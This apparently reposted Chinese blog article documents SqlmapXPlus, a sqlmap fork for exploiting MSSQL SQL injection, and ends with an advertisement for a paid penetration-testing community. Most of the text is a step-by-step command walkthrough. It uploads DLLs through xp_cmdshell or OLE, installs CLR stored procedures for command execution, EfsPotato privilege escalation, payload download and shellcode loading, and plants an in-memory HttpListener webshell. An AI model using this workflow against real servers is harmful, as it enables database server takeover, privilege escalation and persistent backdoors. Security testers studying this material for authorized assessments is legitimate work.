赛博大作战中的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!
sqlmapxplus 基于sqlmap,参考各种解决方法,增强MSSQL数据库注入的利用方式
工具地址:https://github.com/co01cat/SqlmapXPlus 前版本的使用说明:https://mp.weixin.qq.com/s/nTYPKnl9XQLWhZ43sQV3xw
发现问题:
1. 针对实际网络过程中dll传输损失导致clr安装失败的问题(临时解决方法)
发现在原--install-clr功能中使用的clr dll太大,在实战中往往需要注 入的大量次数,如果注入过程中的某一次出现错误,会导致dll落地失败,无法成功打入dll,
现将原本一键自动安装的流程去除,修改为用户需要根据实际的目标情况,自定义的dll安装
临时增加 --check-file 选项判断dll文件是否成功落地目标主机
临时增加--check-clr 判断用户自定义函数是否在数据库中加载成功
2. 为什么使用上传过程中会出现dll放大的问题
转换为十六进制落地再还原导致的文件增大,如字母 A 经过十六进制 会转换 为 41,则增大一倍
3. 自定义clr的问题(已完成)
install-clr修改为,需要指定自定义的clr.dll路径,在提示框输入 用户自定义类名 用户自定义方法名
clr_shell模式下执行clr函数的方式修改为:用户自定义function 传入参数(已完成)
更新内容:
新增开启ole功能
新增指定文件读取功能
新增指定文件移动功能
新增指定文件复制功能
新增指定文件删除功能
新增指定文件位置判断功能
新增存储过程查询功能
新增删除存储过程功能
修改ole上传方式
修改clr安装流程
修改clr命令执行方式
去除中文注释导致的报错
更新功能:
File system access:
--xp-upload upload file by xp_cmdshell
--ole-upload upload file by ole
--check-file use xp_fileexis check file exist
--ole-del delete file by ole
--ole-read read file content by ole
--ole-move move file by ole
--ole-copy copy file by ole
Operating system access:
--enable-clr enable clr
--disable-clr disable clr
--enable-ole enable ole
--check-clr check user-defined functions in the database
--del-clr delete user-defined functions in the database
--install-clr install clr
--clr-shell clr shell
--sharpshell-upload1 sharpshell upload1
--sharpshell-upload2 sharpshell upload2
# 关于ole的功能介绍
about ole:
# 开启 ole 利用功能
python sqlmap.py -r/-u xxx --enable-ole
# 通过 ole 上传文件
python sqlmap.py -r/-u xxx --ole-upload local_file_path --file-dest remote_file_path
# 通过 ole 删除指定文件
python sqlmap.py -r/-u xxx --ole-del remote_file_path
# 通过 ole 阅读指定文件
python sqlmap.py -r/-u xxx --ole-read remote_file_path
# 通过 ole 移动并重命名文件
python sqlmap.py -r/-u xxx --ole-move remote_file_path1 --file-dest remote_file_path
# 通过 ole 复制文件
python sqlmap.py -r/-u xxx --ole-copy remote_file_path1 --file-dest remote_file_path2
# 通过 ole 实现的HttpListener内存马上传方式
# 默认上传至c:\Windows\tasks\listen.tmp.txt,需要以system权限运行
python sqlmap.py -r/-u xxx --sharpshell-upload2
# 相关功能介绍
other function:
# 通过 xp_cmdshell 上传文件
python sqlmap.py -r/-u xxx --xp-upload local_file_path --file-dest remote_file_path
# 使用 xp_fileexis 来检查文件是否存在
python sqlmap.py -r/-u xxx --check-file remote_file_path
# 查询数据库中是否存在用户自定义函数
python sqlmap.py -r/-u xxx --check-clr clr_function_name
# 删除用户自定义函数
python sqlmap.py -r/-u xxx --del-clr clr_function_name
# 通过 xp_cmdshell实现的HttpListener内存马上传方式
# 默认上传至c:\Windows\tasks\listen.tmp.txt,需要以system权限运行
python sqlmap.py -r/-u xxx --sharpshell-upload1
# 关于clr的功能介绍
:
# 开启 clr 利用功能
python sqlmap.py -r/-u xxx --enable-clr
# 关闭 clr 利用功能
python sqlmap.py -r/-u xxx --disable-clr
# 进入 clr 安装模式
python sqlmap.py -r/-u xxx --install-clr
# 进入 clr-shell 命令交互模式
python sqlmap.py -r/-u xxx --clr-shell
# clr dll 参考如下,更多其他dll请参考星球获取
# 存储过程类名Xplus,存储过程函数名需要注意大小写,分别为
# ClrExec、ClrEfsPotato、ClrDownload、ClrShellcodeLoader
# 对应项目目录下单独功能的dll,分别为
clrexec.dll
clrefspotato.dll
clrdownload.dll
clrshellcodeloader.dl
根据目标情况,选择自己修改好合适大小的clr dll通过文件上传至目标主机
python sqlmap.py -r/-u xxx --random-agent --xp-upload clrdemo.dll --file-dest c:\windows\tasks\clrexec.dll
通过--check-file检查dll是否成功落地,通过注入传输不稳定将导致失败,有时需要多打几次
python sqlmap.py -r/-u xxx --random-agent --check-file c:\windows\tasks\clrexec.dll
看到提示目标文件存在,就可以进行下一步
加载远程dll,输入远程dll路径、用户自定义存储过程的相关信息
python sqlmap.py -r test.txt --random-agent --enable-clr
python sqlmap.py -r/-u xxx --random-agent --install-clr
CLR程序集名称可以任意,通过--check-clr检查自定义存储过程是否加载成功
python sqlmap.py -r/-u xxx --random-agent --check-clr clrexec
看到提示自定义存储过程存在数据库中,就可以进行下一步
进入clr-shell模式,执行自定义clr存储过程,所有执行均为无回显执行,需要自行判断执行是否成功
python sqlmap.py -r test.txt --random-agent --clr-shell
input procedure name> 用户自定义存储过程名称
# 运行打入的ClrExec
input procedure name> ClrExec
clr-shell>clr_exec whoami > c:\windows\tasks\111.txt
# EfsPotato同理打入目录下的clrefspotato.dll后
input procedure name> ClrEfsPotato
clr-shell>clr_efspotato whoami > c:\windows\tasks\222.txt
如命令执行功能,可以通过输出重定向 配合 --ole-read 获取回显
python sqlmap.py -r test.txt --random-agent --enable-ole
python sqlmap.py -r/-u xxx --random-agent --ole-read c:\windows\tasks\111.txt
“渗透测试宝典”知识星球简介
初心始终如一,我们的初衷是打造一个友好的网络安全交流社群,帮助新手们轻松入门,成为网络安全领域的精英!在“渗透测试宝典”知识星球,我们相信每个人都有潜力成为一名卓越的安全从业者,只需要一个温暖的社群和正确的引导。
目前知识星球已度过试运营阶段,进入正式运营,前30名已经加入的用户将享受永久星球权限,优先福利、礼物、武器推送等。
知识星球专栏介绍
🔒 探索网络安全的深层奥秘 - 收获六大专栏 🔒
📚 “JAVA代审基础系列”:从0到1,通过这个专栏,我们将带你入门年轻人的第一个代码审计语言。无论你是零基础还是有一些编程经验,我们都将从基础知识出发,逐步引导你理解和掌握JAVA代码审计的技巧和原理。
🔐 “渗透小子系列”:这个专栏将帮助你从内网渗透的零基础开始。我们会为你提供内网渗透的入门知识和技巧,带你逐步了解内网的扫盲篇,为你在渗透测试领域迈出第一步提供坚实的基础。
🔍 “漏洞分析专栏”:在这个专栏中,我们将深入分析各种漏洞的原理,并通过案例和源码分析帮助你理解漏洞的产生和利用方式。通过学习漏洞分析,你将获得丰富的代码审计练习素材,提升自己的代码审计能力。
💪 “实战文章专栏”:这个专栏汇集了渗透测试的实际案例,包括渗透测试流程、SRC、HW等各种类型的项目。通过实战经验的分享,你将获得大量的挖洞经验和技巧,成为一名熟练的渗透测试从业者。
🛡️ “安全研究与开发专栏”:在这个专栏中,我们将为你提供免杀指导和武器工具开发的相关内容。通过学习免杀技术和武器工具的开发,你将成为安全研究和开发领域的专家,为网络安全做出贡献。
📚 “资源分享”:我们的团队将负责发布以上专栏相关的学习资源、工具和案例分析等。我们致力于打造一个互动和学习的社区,让每个成员都能够互相分享和成长。
🌟 加入“渗透测试宝典” 知识星球,开启你的网络安全之旅!在这里,你将获得系统全面的培训,学习到渗透测试的各个环节和技术,与志同道合的伙伴们共同进步。机不可失,时不再来!💪💻
专栏内容预览
一对一在线答疑解惑
加入方式
限量优惠,历史最低价格,内卷的时代投资下自己,星主wx:hhhapi1day,可通过帮助推广或投稿自研工具、行业产品0day分析等加入知识星球